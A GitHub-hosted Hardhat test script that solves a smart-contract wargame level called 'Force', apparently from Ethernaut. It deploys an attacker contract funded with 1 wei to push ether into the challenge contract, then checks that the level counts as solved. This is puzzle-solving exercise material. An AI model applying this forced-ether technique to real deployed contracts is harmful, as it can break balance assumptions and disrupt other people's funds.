-
Notifications
You must be signed in to change notification settings - Fork 28
/
7-force.ts
32 lines (28 loc) · 1.01 KB
/
7-force.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import { expect } from "chai";
import { Contract, Signer } from "ethers";
import { ethers } from "hardhat";
import { createChallenge, submitLevel } from "./utils";
let accounts: Signer[];
let eoa: Signer;
let attacker: Contract;
let challenge: Contract; // challenge contract
let tx: any;
before(async () => {
accounts = await ethers.getSigners();
[eoa] = accounts;
const challengeFactory = await ethers.getContractFactory(`Force`);
const challengeAddress = await createChallenge(
`0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea`
);
challenge = await challengeFactory.attach(challengeAddress);
});
it("solves the challenge", async function () {
const attackerFactory = await ethers.getContractFactory(`ForceAttacker`);
attacker = await attackerFactory.deploy(challenge.address, {
value: ethers.utils.parseUnits(`1`, `wei`),
});
await eoa.provider!.waitForTransaction(attacker.deployTransaction.hash);
});
after(async () => {
expect(await submitLevel(challenge.address), "level not solved").to.be.true;
});